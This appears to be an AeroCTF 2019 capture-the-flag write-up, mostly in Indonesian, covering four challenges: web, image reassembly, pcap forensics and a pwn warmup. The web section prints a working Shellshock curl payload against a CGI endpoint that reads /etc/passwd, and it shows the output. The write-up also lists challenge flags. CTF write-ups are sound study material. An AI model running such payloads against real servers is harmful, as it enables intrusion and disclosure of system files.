



TENESYS

The logo features the word "TENESYS" in a bold, cyan, sans-serif font. The letter "T" is uniquely designed with a horizontal bar extending to the left and a vertical stem that continues down the page. To the right of the "T", there are two additional vertical cyan lines of varying heights, with the tallest line extending from the top of the frame down past the bottom of the text. The entire graphic is set against a solid black background.



# IAM9ROOT

## Akinari X ZheeK



## • board tracking system – WEB

Мы разработали продвинутую систему отслеживания параметров борта, нет ли в ней уязвимостей?

We develop advanced board tracking system, is it vulnerable?

Site: <http://81.23.11.159:8080/>

Diberikan sebuah website dimana website tersebut menampilkan status dari server tersebut menggunakan **/cgi-bin/stats**

Welcome to control plane application of Aeroctf system.

Don't

On a dashboard you can see loading our system

Stats:

Sun Mar 10 13:45:19 UTC 2019 13:45:19 up 94 days, 23:14, 0 users, load average: 0.00, 0.00, 0.00 muaquat i <3 kha banh

Vulnerability yg ditemukan adalah CVE-2014-6271 atau shellshock, dimana pada vulnerability tersebut dapat diexploitasi dengan sebaris kode berikut

**curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" <http://81.23.11.159:8080/cgi-bin/stats>**

```
root@ZheeMachine:~/Downloads/AeroCTF# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://81.23.11.159:8080/cgi-bin/stats
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Aero{c58b51bee681ba3aa3971cef7aa26696}
root@ZheeMachine:~/Downloads/AeroCTF#
```

**Flag : Aero{c58b51bee681ba3aa3971cef7aa26696}**

- **damaged ticket – Code**

Я ненадолго оставил свой компьютер без присмотра и не заблокировал его. На рабочем столе у меня был билет на самолёт, кто-то повредил его и теперь у меня лишь мелкие части билета, как-будто он прошёл через "шредер". Помогите мне восстановить билет, у меня самолёт через пару часов!

I left my computer unattended for a while and did not block it. I had a plane ticket on the desktop, someone had damaged it and now I have only small parts of the ticket, as if it had passed through a "shredder". Help me recover the ticket, I have a plane in a couple of hours!

Didapatkan sebuah file zip dimana ketika di extract berisi 600 buah gambar “potongan” dari tiket pesawat menurut deskripsi soal.

```
root@ZheeMachine:~/Downloads/AeroCTF/parts# ls
00411460f7c92d2124a67ea0f4cb5f85.png  816b112c6105b3ebd537828a39af4818.png
006f52e9102a8d3be2fe5614f42ba989.png  819f46e52c25763a55cc642422644317.png
00ec53c4682d36f5c4359f4ae7bd7ba1.png  82161242827b703e6acf9c726942a1e4.png
01161aaa0b6d1345dd8fe4e481144d84.png  821fa74b50ba3f7c3a1e6c53e8fa6845.png
01386bd6d8e091c2ab4c7c7de644d37b.png  82aa4b0af34c2313a562076992e50aa3.png
013d407166ec4fa56eb1ef8cbe183b9.png  82cec96096d4281b7c95cd7e74623496.png
019d385eb67632a7e958e23f24bd07d7.png  839ab46820b524afda05122893c2fe8e.png
01f78be6f7cad02658508fe4616098a9.png  84d9ee44e457ddef7f2c4f25dc8fa865.png
02522a2b2726fb0a03bb19f2d8d9524d.png  85422afb467e9456013a2a51d4dff702.png
0266e33d3f546cb5436a10798e657d97.png  854d6fae5ee42911677c739ee1734486.png
02e74f10e0327ad868d138f2b4fdd6f0.png  854d9fca60b4bd07f9bb215d59ef5561.png
0336dcba05b9d5ad24f4333c7658a0e.png  85d8ce590ad8981ca2c8286f79f59954.png
0353ab4cbcd5baeae847a7ff6e220b5cf.png  8613985ec49eb8f757ae6439e879bb2a.png
03afdbd66e7929b125f8597834fa83a4.png  877a9ba7a98f75b90a9d49f53f15a858.png
03c6b06952c750899bb03d998e631860.png  89f0fd5c927d466d6ec9a21b9ac34ffa.png
04025959b191f8f9de3f924f0940515f.png  8b16ebc056e613024c057be590b542eb.png
045117b0e0a11a242b9765e79cbf113f.png  8bf1211fd4b7b94528899de0a43b9fb3.png
04ecb1fa28506ccb6f72b12c0245d8db.png  8c19f571e251e61cb8dd3612f26d5ecf.png
05049e90fa4f5039a8cad6acbb4b2cc.png  8cb22bdd0b7ba1ab13d742e22eed8da2.png
0584ce565c824b7b7f50282d9a19945b.png  8d34201a5b85900908db6cae92723617.png
05f971b5ec196b8c65b75d2ef8267331.png  8d3bba7425e7c98c50f52ca1b52d3735.png
060ad92489947d410d897474079c1477.png  8d5e957f297893487bd98fa830fa6413.png
```

Disini terdapat hal unik dimana nama file dari potongan gambar tersebut adalah md5. Setelah kami “decrypt” salah satu md5 tersebut hasilnya adalah angka, yang kami pikir adalah urutan dari potongan gambar tersebut.

Disini kami mencoba menyusun kembali urutan gambar tersebut mulai dari pertama sampai terakhir, kami coba untuk ‘merubah’ angka menjadi md5 lalu memasukkannya ke array.

```
import md5

wadah = ""

for i in range (0,600):
    wadah+=md5.new(str(i)).hexdigest()
    wadah+=" .png", ""
print wadah
```

lalu script satu lagi untuk menggabungkan semua gambarnya sesuai urutan yg sudah kita dapatkan

```
import sys
from PIL import Image

images = map(Image.open,
['cfcd208495d565ef66e7dff9f98764da.png',
'c4ca4238a0b923820dcc509a6f75849b.png',
'c81e728d9d4c2f636f067f89cc14862c.png',
'eccbc87e4b5ce2fe28308fd9f2a7baf3.png', (too long, I cut it)
'08c5433a60135c32e34f46a71175850c.png',
'6aca97005c68f1206823815f66102863.png',
'3435c378bb76d4357324dd7e69f3cd18.png'])
widths, heights = zip(*(i.size for i in images))

total_width = sum(widths)
max_height = max(heights)

new_im = Image.new('RGB', (total_width,
max_height))

x_offset = 0
for im in images:
    new_im.paste(im, (x_offset,0))
    x_offset += im.size[0]

new_im.save('flag.png')
```



Flag : 2c5afcd6262a5851f744fd6adb60ae2345}

- undefined protocol – Forensic

Описание: Нам удалось получить трафик с машины одного из хакеров, который взламывал наши системы навигации, однако они используют какой-то странный протокол поверх TCP. Нам не удалось разобрать его, может у тебя получится выяснить, что он передавал?

We managed to get traffic from the machine of one of the hackers who hacked our navigation systems, but they use some kind of strange protocol over TCP. We were not able to disassemble it, maybe you can find out what he was transmitting?

Diberikan sebuah file pcap lalu dibuka dan mencoba pilih yang paling atas lalu klik kanan **follow > tcp stream** dan terdapat sebuah **ciphertext** dan **key** yang dimana ini diasumsikan akan di**xor**. Kenapa Xor ? karena dari bentuk jenis ciphertextnya. lalu dicoba di xor dan hasilnya nihil. Lalu diurutkan berdasarkan time dan length terpanjang dan didapatkan **length 92** lalu di xor kan. Tadaaa dan didapatkan sebuah flagnya tapi terflipped lalu di flip balik dan **kero** diubah jadi **aero**

Berikut video writeupnya :

<https://www.youtube.com/watch?v=IWk1kol0ofg&t=5s>

Flag : Aero{94d04d04b327e4e52a0bb6c67b3fca7b}

- **pwn\_warmup – warmup**

Теперь они сделали сервер с мемами, на нём есть авторизация. Посмотри можно ли её обойти.

Now they have made a server with memes, it has authorization. See if you can get around it.

Server: 185.66.87.233 5004

Diberikan sebuah server 185.66.87.233 5004 lalu kita disuruh untuk memasukkan sebuah password percobaan awal kita test asal terlebih dahulu

```
D:\Tool\nc111nt>nc 185.66.87.233 5004
Memes server
Enter the password: aaaaaaaa
[-] Auth error!
```

Lalu kita mencoba memasukkan dengan simple buffer overflow

[illegible]

**Flag : Aero{d31d0c1f564273c9bf3f1d1e1540c100}**